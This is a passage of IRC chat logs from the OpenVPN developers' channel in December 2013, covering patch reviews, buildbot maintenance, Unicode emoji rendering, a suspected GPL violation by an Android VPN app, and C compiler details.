matter anyway from a release standpoint 13:27 <@pekster> (early-adopters could have used any of the 3 solutions) 13:34 <@cron2> indeed 13:34 <@cron2> mattock: please :-) 13:38 <@pekster> Tracker is smart enough to warn me the issue was updated before I pressed 'submit'. That's nice. 13:38 <@cron2> heh, cool 13:39 <@pekster> You're even extra-nicer and asked for OP confirmation, so yours is better anyway ;) 13:43 <@pekster> fwiw, dev-libs/pkcs11-helper is ~arch at 1.11 ;) 13:44 <@pekster> Oh, and we should bump openvpn-build to match as buildbots will barf on that now (I'm happy to do that when I'm back this evening if no one else has) 13:44 <@cron2> yeah, I've seen the ebuild, but decided that I'm not going to fight this... if syzzer says the code is good... 13:45 <@pekster> Well, bots might not, but anyone relying on openvpn-build will (not sure what they run) 14:48 * cron2 pokes mattock again 14:50 <@cron2> plaisthos: will that options->connection_list check also work in 2.3.3? 14:50 <@cron2> (as that is target group as well) 14:50 <@cron2> ah 14:51 <@cron2> that is the key thing of "we are *after* a </connection>" 14:51 * cron2 withdraws the question 17:46 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 252 seconds] 17:57 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:26 * ecrist writes two paragraph commit message for 8 byte change --- Day changed Tue Dec 17 2013 03:49 <@plaisthos> cron2: do you want a v2 of the patch? 04:07 <@cron2> plaisthos: I'm still not convinced that the CONNECTION_FILE_TAG is a good idea, unless we make it consistent and move *all* the "[...FOO]" into #define 04:07 <@cron2> so I'd leave it out for the time being 04:08 <@cron2> (as it's not actually part of the new code, just a "side effect cleanup") 04:15 <@plaisthos> cron2: okay 04:16 <@plaisthos> should leave the CONNECTION instead of CMD-LINE in? 04:16 <@cron2> yeah, that one is fine, I was just wondering (and now I understand :) ) 04:23 <@plaisthos> okay send a new patch 04:46 <@cron2> plaisthos: btw, I'm very impressed with the new logging in the android client :-) - have used it for the first time in months today 04:47 * cron2 doesn't normally *use* OpenVPN, just hack around :-) - and maintain the OpenVPN servers at $customer1 and $customer2... 05:13 <@plaisthos> cron2: you are talking about the slider? 05:19 <@plaisthos> that reminds me of a patch 06:09 <@cron2> plaisthos: well, the whole way things are presented (and the slider :) ) was new to me, and quite usefully so 06:14 <@plaisthos> ah :) 06:29 <@dazo> Hi all! Just a quick question ... how is it with Win 8.1 support ... what's causing the pain here? I've read through #316, but the discussion seems to have developed in confusing ways 06:35 <@cron2> I haven't fully investigated yet, just refused the patches because they seemed, uh, confused 06:36 <@cron2> uh, no, that is a different issue. no idea about 316 06:51 * cron2 pokes mattock 06:53 <@vpnHelper> RSS Update - gitrepo: Add warning for using connection block variables after connection blocks <https://github.com/OpenVPN/openvpn/commit/cd6555e0159987ef264789f4976053ce2aa5fc20> 07:33 * cron2 pokes mattock again 07:36 <@dazo> It would be fun to have an irc controlled ringer in mattock's home .... 07:36 <+krzee> haha 07:36 <+krzee> that's borderline evil, i love it! 07:44 <@dazo> >;-) <<--- that's me! 07:44 <@dazo> 😈 07:44 <@dazo> heh 07:58 <+krzee> whoa that showed up in my client 07:58 <+krzee> im not sure how i feel about that 07:59 <+krzee> ? 08:10 <@plaisthos> I got only a black diamond with a ? 08:13 <@ecrist> I just got the ? 08:25 <@dazo> seems plaisthos and ecrist needs to get some unicode compliant irc clients :) 08:30 <+krzee> http://pbs.twimg.com/media/BDK-mvjCcAAiSiH.jpg:large 08:30 <+krzee> to me it showed up looking like the first one there 08:31 <@dazo> ahh, it's the smiley which got converted 08:32 <@dazo> I thought you also got one of these ones: https://en.wikipedia.org/wiki/List_of_emoticons#Unicode_characters 08:32 <@vpnHelper> Title: List of emoticons - Wikipedia, the free encyclopedia (at en.wikipedia.org) 08:33 <@dazo> (U+1F608) 08:45 <@plaisthos> my client can do umlauts just fine 08:46 <@plaisthos> something in the ssh+screen+irssi combinations breaks the emoji probably 08:47 <@d12fk> i think the problem is that the smileys are not in the basic plane 08:47 <@d12fk> thus utf-8 cannot encode them and that break most client 08:47 <@d12fk> something like that 08:50 <@d12fk> err it can: "The original specification covered numbers up to 31 bits (the original limit of the Universal Character Set). In November 2003 UTF-8 was restricted by RFC 3629 to end at U+10FFFF, in order to match the constraints of the UTF-16 character encoding" 08:50 <@d12fk> http://en.wikipedia.org/wiki/UTF-8 08:50 <@vpnHelper> Title: UTF-8 - Wikipedia, the free encyclopedia (at en.wikipedia.org) 08:53 <@dazo> hmmm ... 08:55 <@d12fk> but since i seee two chars my client must interpret the sequence wrong 08:55 <@d12fk> as it's just one smiley 08:56 <@d12fk> whatever... stupid unicode =) 08:56 <@d12fk> oh look my smiley has two chars as well.... 09:00 <@plaisthos> and that is why we got the stupid UTF-16 on windows 09:01 <@d12fk> windows uses ucs-2 09:01 <@d12fk> so it's limited to 16bit unicode 09:04 <@plaisthos> d12fk: later windows version actually use utf-16 09:04 <@plaisthos> which is the same as ucs-2 for the basic plane 09:04 <@d12fk> ah didn't know that, starting with vista? 09:05 <@plaisthos> wikipedia says since windows 2000 09:07 <@plaisthos> but under windows there is probably a lot of broken software that assume each code point is always 2 byte long 09:26 <@d12fk> wonder how that works in C with wchar_t 09:26 <@d12fk> so the 31 bit basic plane is verbatim and after that it's encoded utf style 09:27 <@d12fk> that would work with wchar_t 09:27 <@d12fk> utf-x is so genius 09:40 -!- mattock is now known as mattock_afk 09:55 <@cron2> bah, first he ignores my poking, then he runs away 10:14 <@plaisthos> oh great 10:14 <@plaisthos> just /another/ VPN bug for 4.4: https://code.google.com/p/android/issues/detail?id=63660 10:14 <@vpnHelper> Title: Issue 63660 - android - VPN TCP connections doo not survive interface roams on KitKat. - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 10:23 <@d12fk> http://www.youtube.com/watch?v=9bW58ulFzEk <- find the d12fk 10:23 <@vpnHelper> Title: Sophos V4 Full HD - YouTube (at www.youtube.com) 10:23 <@d12fk> </advertisement> 10:25 <@pekster> mattock_afk: Do you have ideas on the right way to handle this: https://github.com/QueuingKoala/openvpn-build/commit/9b9de6b . I put that on a branch (under my "fork") but it means anyone doing builds as of the openvpn pkcs11 bump needs the 1.11 helper; does openvpn-build stay in sync with openvpn's -master, or do you envision separate tags or branches or something when version bumps happen? 10:25 <@vpnHelper> Title: Update pkcs11-helper version to 1.11 · 9b9de6b · QueuingKoala/openvpn-build · GitHub (at github.com) 10:36 <@dazo> d12fk: 1:54 10:36 <@d12fk> well done! =) 10:37 <@dazo> :) 10:40 <@dazo> hmmm ... makes me ponder if video could be used as in an authentication process .... 10:40 <@dazo> for establishing trust level (based on: I know this person) 10:41 -!- mattock_afk is now known as mattock 10:43 <@dazo> cron2: hurry! mattock is here now!! 10:43 <@dazo> :-P 10:43 <@mattock> lol 10:43 <@mattock> what's up? 10:43 <@dazo> cron2: he even responds! 10:43 <@plaisthos> d12fk: you have the same telephone as we 10:43 <@dazo> mattock: cron2 has tried to ping you twice today :) 10:44 <@mattock> pong 10:44 <@mattock> pong 10:45 <@plaisthos> dazo: count the cats in the video 10:45 <@plaisthos> and name the cats you know from the intertubes 10:46 <@dazo> plaisthos: not convinced that will give authenticity in any regards :) 11:03 <@mattock> I can guess what cron2 had in mind 11:03 <@mattock> buildbot failures, looking into them 11:05 <@pekster> mattock: openvpn -master? See my commit/URL above 11:05 <@mattock> snappy is missing from my two new buildslaves - that's at least part of the problem 11:05 <@pekster> Ah :) 11:09 <@mattock> I thing fping might be missing, too, which would cause connectivity tests to fail 11:11 <@cron2> mattock: yep, buildbot failures, like "20 mails for debian-7" :) 11:53 <@plaisthos> dazo: sure if you finish that in less than 30s you authenticate as having wasted too much time on the Internet (+30s now) 11:58 <@mattock> cron2: I think fping and libsnappy issues are now fixed, but I need to generate certs for the new buildslaves to fix t_client tests 11:58 <@mattock> I'll finish that thing tomorrow 12:09 <@dazo> plaisthos: hahaha 12:39 -!- mattock is now known as mattock_afk 13:13 -!- mattock_afk is now known as mattock 14:03 <@cron2> mattock: you also had "old polarSSL" issues :) 14:04 <@mattock> cron2: ok, I'll fix those too 14:04 <@mattock> I had forgotten what was involved in setting up a buildslave 14:04 <@mattock> quite a lot actually, given the t_client.sh tests 14:34 <@dazo> I though you had documented that ...... 14:34 * dazo ducks 14:46 <@cron2> it still is a bit of work - new keys, initial run, find assigned IP(v6) addresses, ... 14:49 <@cron2> mattock: when you find time, it would be nice if you could compile a list of tickets that we should fix for 2.3.3, so "us developers" know what we need to tackle next 15:10 -!- dazo is now known as dazo_afk 15:50 -!- mattock is now known as mattock_afk 20:13 <@vpnHelper> RSS Update - tickets: #355: OpenVPN Connect Crashes on Android 4.4.2 <https://community.openvpn.net/openvpn/ticket/355> --- Log closed Tue Dec 17 22:03:32 2013 --- Log opened Wed Dec 18 09:57:41 2013 09:57 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:57 -!- Irssi: #openvpn-devel: Total of 18 nicks [9 ops, 0 halfops, 2 voices, 7 normal] 09:57 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:57 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 11:56 -!- Netsplit *.net <-> *.split quits: syzzer, @pekster, @plaisthos, ender|, @andj 12:12 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:12 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 12:12 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:12 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 12:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:12 -!- ServerMode/#openvpn-devel [+ooo plaisthos andj pekster] by wolfe.freenode.net 13:41 <@cron2> plaisthos: ugh. Some work to do for christmas... 13:42 <@cron2> struct preresovled_host 13:42 * cron2 complains 13:43 <@cron2> p->preresoveld_proxy 13:43 * cron2 complains again 13:56 <@plaisthos> cron2: you are right to complain 14:12 -!- dazo is now known as dazo_afk 14:23 <@plaisthos> that slipped in from an earlier version :/ 14:25 <@plaisthos> cron2: apart from that preresovled_host should be cached_dns_entry is there anything else wrong with that? 15:30 <@cron2> plaisthos: I've just skimmed the patch so far, need to fully grok it. It's... complicated 16:33 -!- mattock is now known as mattock_afk 23:09 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 246 seconds] --- Day changed Thu Dec 19 2013 02:53 -!- mattock_afk is now known as mattock 03:03 <@mattock> back to buildbot fun... 03:11 <@plaisthos> cron2: yeah I know :/ 03:22 <@mattock> strange... on fedora-19-i386 buildslave the tests (incl. t_client.sh) don't give any output, except "PASS: t_client.sh" 03:23 <@mattock> on debian-7-i386 there's a lot more stuff 04:32 <@mattock> cron2: all buildslaves will have polarssl 1.2.10 as soon as they've compiled 04:45 <@mattock> triggered a bunch of polarssl builds to verify that all buildlslaves succeed 04:52 <@cron2> cool --- Log closed Thu Dec 19 05:04:58 2013 --- Log opened Thu Dec 19 07:10:00 2013 07:10 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:10 -!- Irssi: #openvpn-devel: Total of 17 nicks [8 ops, 0 halfops, 2 voices, 7 normal] 07:10 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:10 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:20 -!- waldner [waldner@openvpn/user/waldner] has quit [Remote host closed the connection] 07:38 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 08:03 <@mattock> cron2: all of my buildslaves now show green 08:15 <@vpnHelper> RSS Update - tickets: #356: iPhone: wifi -> cellular switch pauses the vpn connection <https://community.openvpn.net/openvpn/ticket/356> 11:10 <+krzee> hahah that's a ticket? 11:10 * krzee closes the ticket and tells the user about --float 11:10 <+krzee> oh nm i see float in there 11:17 <@plaisthos> krzee: even float would not help 11:17 <@plaisthos> since float is ignored in non p2p mode 11:17 <@plaisthos> see also the hmac patches for that 12:17 <+krzee> plaisthos, interesting? maybe a patch to the manual is in order then. there is nothing i see that indicates --float is only for ptp mode 12:31 <@ecrist> I didn't know that until now, either. 12:35 <@pekster> https://community.openvpn.net/openvpn/ticket/49 12:35 <@vpnHelper> Title: #49 (--float does not work with --server) – OpenVPN Community (at community.openvpn.net) 12:37 <@pekster> IIRC that (or a very similar) patch appeared on the -devel list too, although I'm not entierly sure iterating over all the clients makes sense; say there are 100+ clients connected; incoming "established" traffic then need to be tested against them all, which has implications for DDOS potential. 12:38 <@pekster> Then again, maybe just add a note to the manpage about recommending --tls-auth when using that to remove that problem 12:49 <@cron2> pekster: we have a solution for that. James' proposed to change the packet format in a way that permits "every now and then" to send a data packet with session id to make resyncing easier 12:49 <@cron2> (and the packet format change is desired to help aligning, and will be negotiable. We "just" need to code it) 12:54 <@pekster> Ah, sounds like a nice solution 12:54 <@plaisthos> *sigh* 12:55 <@plaisthos> another GPL violating client 12:55 <@plaisthos> https://play.google.com/store/apps/details?id=com.cryptninja.vpn 13:03 <@ecrist> how do you know it uses openvpn? 13:04 <@ecrist> I suppose, you didn't say it's using openvpn, just GPL 13:04 <@pekster> Use is one part, but so is including notice of the license somewhere (which makes an otherwise legal use illegal) 13:05 <@plaisthos> ecrist: there is a lot of code of my app in it 13:05 <+krzee> oh god 13:06 <+krzee> that sucks 13:06 <+krzee> selling your code and not even giving credit 13:06 <@plaisthos> krzee: not the only app that does that 13:06 <@plaisthos> krzee: and openvpn's code 13:06 <+krzee> both, ya 13:06 <+krzee> suck and suck 13:06 <@plaisthos> I changed my license from bsd to gpl 13:06 <@ecrist> is it that easy to reverse engineer android apps? 13:07 <@plaisthos> ecrist: yeah 13:07 <@ecrist> plaisthos: are they using code from when it was BSD licensed/ 13:07 <@plaisthos> ecrist: you can decompile them 13:07 <@ecrist> or newer GPLd code? 13:07 <@plaisthos> ecrist: newer gpl code 13:07 <@ecrist> once code is BSD licensed, you can't really make it NON-BSD licensed 13:07 <@plaisthos> ecrist: why not? 13:08 <@plaisthos> sure 13:08 <@ecrist> new code and new changes can be, though 13:08 <@ecrist> because they can just use the BSD-licensed code 13:08 <@plaisthos> I cannot revoke the license for the old code 13:08 <@ecrist> right, that's what I'm getting at 13:08 <@plaisthos> yeah 13:08 <@ecrist> BSD license still requires giving credit where due, though 13:08 <@plaisthos> :) 13:25 <@cron2> so did mattock already contact gpl-violations.org about it? 13:25 <@mattock> no, I have not yet 13:28 <@cron2> ah, you're actually here :-) - I think it would be good for plaisthos' well-being... 13:32 <@pekster> mattock: I'll get a nicer reply to the ML, but a 3.0 (final) release for 2.4 alphas won't be a problem. I need to see what the pkcs11/smart-card fronttend requires if you were including that in feature comparison, but since that never worked in Win32 in 2.x anyway, a frontend in distro/ would be fine anyway 13:32 <@mattock> pekster: ok 13:35 <@pekster> Is the plan still to treat openssl similar to the 2.3 series with the option for including it in PATH? 13:36 <@pekster> The Windows version requires an openssl available which MS doesn't provide; if that's the plan, requiring openssl+PATH for easy-rsa suffices (or at least warning the user if they don't do that) 13:38 <@pekster> The other option would be having the installer figure it out and add a 'vars' file with the install location's openssl or something weird 13:48 <@plaisthos> cron2: I have currently not really time for that 13:49 <@cron2> plaisthos: this is why we want mattock to do that, so you can focus on wrecking socket.c further :) 15:58 -!- mattock is now known as mattock_afk --- Day changed Fri Dec 20 2013 02:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:40 <@mattock> this is how Norwegian are: http://vitaminl.tv/video/1704 02:40 <@vpnHelper> Title: Playing On Thin Ice - God Damned Norwegians (at vitaminl.tv) 02:40 <@mattock> notice the Finnish axe 02:42 <@plaisthos> mattock: how do you identify that as Finish axe? 02:42 <@mattock> it's a Fiskars axe, quite distinctive 02:42 <@mattock> not a traditional axe, but a good one 02:43 <@mattock> fiberglass shaft and does not have the traditional eye in the blade for the shaft like most axes 02:43 <@plaisthos> ah okay 02:44 <@plaisthos> I have heard seen Fiskars axe but I never cared where they are produced 03:37 <@plaisthos> *sigh* I should remove the informative "protecting socket fd 4" from Android OPenVPN 03:37 <@plaisthos> just mail me and tell me that is the error that causes their VPN to not work 03:38 <@cron2> protected sockets are totally evil! 14:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 18:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 18:57 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 18:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:58 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Sat Dec 21 2013 05:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 08:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:14 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:36 <@vpnHelper> RSS Update - tickets: #357: Doesn't work on ipad 4 <https://community.openvpn.net/openvpn/ticket/357> 14:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 19:33 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Read error: Connection reset by peer] 19:37 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:37 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:37 -!- dazo_afk is now known as dazo --- Day changed Sun Dec 22 2013 00:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 246 seconds] 00:24 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:36 <@pekster> What's with the screwy "Terms of use" on the "Community Wiki and Tracker?" Clause 19 seems really bogus 15:37 <@pekster> "All remarks, suggestions, ideas, graphics, or other information communicated by you to us (collectively, a "Submission") will forever be our property. ... Without limitation, we will have exclusive ownership of all present and future existing rights to the Submission of every kind and nature everywhere. We will be entitled to use the Submission for any commercial or other purpose whatsoever, without compensation to you or any ... 15:37 <@pekster> ... other person sending the Submission." 15:37 <@pekster> That seems (AFAICT) to have no business being a terms of use of the "Community" tracker 15:38 <@pekster> So, corp is saying that any submissions using the bugtracker inherently become, "[w]ithout limitation" exclusive property of the corp side? :( 15:38 <@pekster> Can we perhaps get the "Community Wiki and Tracker" to have terms that match community development? 15:49 <@pekster> Or is this more "since corp provides the servers hosting the community.openvpn.net site, they get to invent all sorts of bogus legal provisions for use" stuff? If _that_ is the case, we should consider separating the hosting duty 15:49 <@pekster> (different vhost or something, at the very least) 15:52 <@pekster> I suspect we just need to link the 'Terms of use' from community.openvpn.net to a non "http://openvpn.net" terms of use section 15:53 <@pekster> I just noticed a very subtle change in the banner from "OpenVPN Community Wiki and Tracker" -> "OpenVPN (R)", but that's really not obvious 15:53 <@pekster> Ugh. 16:56 <@vpnHelper> RSS Update - gitrepo: Add warning for using connection block variables after connection blocks <https://github.com/OpenVPN/openvpn/commit/cd6555e0159987ef264789f4976053ce2aa5fc20> || Fix file checks when --chroot is being used <https://github.com/OpenVPN/openvpn/commit/b77bffe8186647c6fd1f2f76aac41fd45719edb8> || pkcs11: use generic evp key instead of rsa <https://github.com/OpenVPN/openvpn/commit/6575ad483702dd53c0f683093b5f26a8751 19:52 <@ecrist> pekster: the banner is still "OpenVPN Community wiki and Tracker" for me. --- Day changed Mon Dec 23 2013 00:53 <@pekster> mattock: How important is PKCS#11 to you? The v2 commands now use some quite "undocumented" openssl calls to get this done, complicating porting those segments without test systems 01:41 <@mattock1> pekster: there are people who use pkcs11 ... I think we could leave it out for the first openvpn 2.4 releases, if adding it seems too hairy 01:42 <@mattock1> meanwhile we could point the people asking about it to easy-rsa 2.* 01:42 <@mattock1> add a note about that to documentation 01:42 <@mattock1> also, easy-rsa is only bundled with the OpenVPN Windows installers, so it's in general downloaded separately anyways 02:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 13:57 <@pekster> For easy-rsa, I just added the private key passphrase changing support. Outside of PKCS#11, I think this covers all the basic use-cases we need initially. I plan to review the state of docs and tag an -rc2 release shortly with the existing fixes on -master. Let me know (here or on the ML) if there's anything I may have missed. I'll get the ChangeLog updated with contributions as the tag is prepared 13:58 <@pekster> shortly == within a day or two, for reference --- Day changed Tue Dec 24 2013 08:57 -!- novaflash is now known as novaflash_away 10:09 -!- novaflash_away [~novaflash@openvpn/corp/support/novaflash] has quit [Quit: ABANDON SHIP! ABANDON SHIP!] 14:08 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 14:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:14 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:14 -!- dazo_afk is now known as dazo 14:46 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 14:46 -!- mode/#openvpn-devel [+v novaflash] by ChanServ --- Day changed Thu Dec 26 2013 06:39 <@cron2> plaisthos: could you send a v2 of the preresolve-patch from the "right" source tree? ;-) (with the typos fixed, etc) 08:36 <@plaisthos> cron2: sure 08:55 <@cron2> cool. I'll be sitting in a train for some hours tomorrow, and should be able to find time to review :) 08:56 <@plaisthos> cron2: okay. I will do a new version of the patch until tommorow 09:33 <@cron2> plaisthos: thanks 09:33 <@cron2> is this patch set also fixing the --inetd crash? 09:49 <@plaisthos> cron2: not sure 09:49 <@plaisthos> the 2/2 patch should fix that 09:56 <@plaisthos> have not yet tested --inetd yet 09:56 <@plaisthos> (because inetd setup scared me from I read from you) 11:13 <@plaisthos> cron2: as a sidenote, could you include compile into the .gitignore file? 12:32 <@cron2> plaisthos: lol :) 12:33 <@cron2> (translation: yes, I will, and I have some assumption what happened *again*) 13:56 <@cron2> plaisthos: now you've acked syzzer's code where I question whether we can actually remove the whole bit :-) - now what...? 14:00 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 248 seconds] 16:54 <@plaisthos> cron2: it did not happen again but git still shows me compile as untracked file 17:14 <@plaisthos> cron2: have not looked that deep into it 17:14 <@plaisthos> cron2: if it really only for those wacky ciphers I think we should remove it 17:15 <@plaisthos> cron2: I looked into that stuff because of "OpenVPN does not compile without this function" 22:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 22:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Dec 27 2013 03:30 <@cron2> plaisthos: yes, that's what I thought... need to wait for syzzer to reappear :-) 04:23 <@cron2> plaisthos: where does "compile" come from? Just checked my git checkout and the build dirs and neither have a file named *compile* 05:14 <@cron2> plaisthos: gc_addspecial() needs to have the ASSERT(a) after the struct gc_entry_special declaration, and I think we should do an ASSERT(free_function) as well... 05:16 <@cron2> and I wonder how getting a function pointer to a "static inline" function works .-) - if I were a compiler, that would scare me into an ASSERT() :-) 05:22 <@plaisthos> cron2: well in assembly a function pointer is just an address 05:23 <@cron2> plaisthos: yes, but it needs to have something to point to, which an "inline" function doesn't give 05:23 <@plaisthos> hm ah that 05:23 <@plaisthos> it will at that point probably ignore the inline and make a real function out of it 05:24 <@plaisthos> inline is only a hint for the compiler not a requirement 05:24 <@cron2> yeah, something like that, and retroactively so 05:24 <@cron2> so as a compiler author, I'm sure a number of curses have been reserverd for the first user to ask for a function pointer to an inline function :-) 05:25 <@cron2> ("this function is inline, so do not output assembly code to the .o, just remember it in case someone wants to call it. Ugh, what is that? a function pointer? damn, no we do need to output it, so remember to do it after the function we're just processing", or such :-) ) 05:26 <@cron2> there is more magic in buffer.h, like gc_new(), which will only work if compiled as inline... 05:32 * plaisthos looks at gc_new 05:32 <@plaisthos> gc_new looks terrible wrong 05:33 <@plaisthos> oh no 05:33 <@plaisthos> sorry it is completly vaild 05:34 <@plaisthos> but gc_new will work as non inlined function as well 05:34 <@plaisthos> iirc the compiler won't inline at -O0 anyway 05:35 <@cron2> it will work beautifully if compiled inline 05:35 <@cron2> and quite efficiently so :-) 05:36 <@cron2> if non-inlined, it will return a pointer to a stack frame that is out of scope, no? 05:36 <@plaisthos> no 05:37 <@plaisthos> it returns a struct and no pointer 05:37 <@plaisthos> so the calling function has to make sure the struct can be returned 05:38 <@cron2> (argh, my train-wlan is so shitty, unbelievable) 05:40 <@plaisthos> basically if the return type is to big for the archicture to fit into the registers (which is defined by the platform ABI) the function is passed a "hidden" pointer to a struct 05:51 <@cron2> oh, interesting - but indeed, it's not returning a pointer to "ret", but ret itself 05:51 <@cron2> which is making a copy for structs, and thus, always valid 05:51 <@plaisthos> yeah ;) 05:52 <@plaisthos> unless the compiler optimizes the copying away :) 05:52 <@plaisthos> and directly uses the return struct 06:00 <@cron2> but then it should also inline it, and everything is good 06:01 <@cron2> anyway, back to the patch set :-) - get_cached_dns_entry() - the return codes and the way it is called with if(get_cached_dns_entry()) is confusing, because effectvely this if() is "if it is *not found" 06:01 <@cron2> so maybe make "found" -> return 1 and "not found" -> return 0? (-1 is for errors :) ) 06:14 <@plaisthos> cron2: yeah. return codes are like the ones of (openvpn_)getaddrinfo 06:14 <@plaisthos> so 0 is no error 06:17 <@cron2> yep, I understand that, but the function name in combination with if(get_...) suggests otherwise when glancing through it... 06:17 <@cron2> but maybe that is just me 06:20 <@cron2> mmmhok, later on it is used "like getaddrinfo()"... 06:26 <@cron2> ok, first pass reading through the patch done. I'm not sure I understand all of it, but the wifi connection is too annoying to have a real discussion here. More later... 06:33 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 06:33 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 07:00 <@cron2> 64 bytes from 195.30.0.1: icmp_seq=1965 ttl=48 time=194 ms 07:00 <@cron2> 64 bytes from 195.30.0.1: icmp_seq=1966 ttl=48 time=9099 ms 07:00 <@cron2> *curse* 11:05 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 11:06 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Dec 28 2013 07:53 -!- sgiratch [~sgiratch@unaffiliated/sgiratch] has joined #openvpn-devel 08:29 -!- sgiratch [~sgiratch@unaffiliated/sgiratch] has left #openvpn-devel [] --- Day changed Sun Dec 29 2013 04:06 <@cron2> moin 07:12 <@cron2> can anyone remind me what the status of the <auth-user-pass> inline stuff is? Have we agreed on anything? Have I merged anything? 07:21 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Quit: ABANDON SHIP! ABANDON SHIP!] 07:21 < waldner> cron2: the status is...nothing has been done 07:21 < waldner> the patch just sits there 07:28 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 07:28 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 07:31 <@cron2> waldner: o-kay. Seems I need to do some serious housekeeping in the next days... 07:32 < waldner> of course I'm available for any kind of doscussion 07:33 <@cron2> ISTR that we feature-ACKed it in Munich, but nobody code-ACKed it yet... 07:34 <@cron2> ... and James is adding code to the iOS client to do the same thing, so it's time to get it integrated :) 07:34 < waldner> glad to know it wasn't a so crazy idea then 07:35 < waldner> thinking about it, I'm still dubious as to whether do the pure inlining stuff, or something like auth-user-pass user foo pass bar (code would be a bit simpler) 07:36 <@cron2> James went for "pure inline" 07:37 < waldner> ok 07:37 < waldner> the thing is, that's a "false" inline 07:37 <@cron2> and since that is what #openvpn-devel seems to have compromised on after lengthy discussion... 07:37 < waldner> that is to say, looking at the file it's "inline", just as other stuff 07:37 < waldner> but internally, it's treated completely differently from the other inlined stuff 07:38 < waldner> other inlined stuff (certs, keys etc.) are just taken verbatim (multiline and all) and passed to openssl as is 07:38 < waldner> but in this case the multiline stuff has to be parsed to extract user, pass etc 07:38 <@cron2> well... 07:38 < waldner> so it's all brand new code 07:38 < waldner> which could be entirely avoided with the second form above 07:39 < waldner> but of course, since it's already written anyway, I'm perfectly fine with inlining too 07:39 <@cron2> I'll have to go and check the code... :-) 07:39 < waldner> basically all the part that does the pointer math to find the \n and all that could be ripped 07:40 < waldner> if we used the existing config file parse to just get the individual words 07:40 <@cron2> so you want to withdraw the patch and re-do it otherwise? ;-) 07:41 < waldner> well, I'm willing to do that 07:41 < waldner> not saying that *want* though 07:41 < waldner> I was just expressing my thoughts 07:42 <@cron2> yeah, I think I had the same thoughts when initially looking at this, but since "the group" seems to have ACKed this way to do it, I'll just verify the code for sanity and code style, or so 07:42 < waldner> no problem at all 09:33 -!- Netsplit *.net <-> *.split quits: @mattock 09:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:33 -!- Netsplit over, joins: mattock 16:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 16:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:14 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:14 -!- dazo_afk is now known as dazo 17:26 * syzzer reappears :) 17:28 < syzzer> I was away skiing for a week, without any interwebs available. Back behind the keyboard now though. 19:56 <+krzee> wb --- 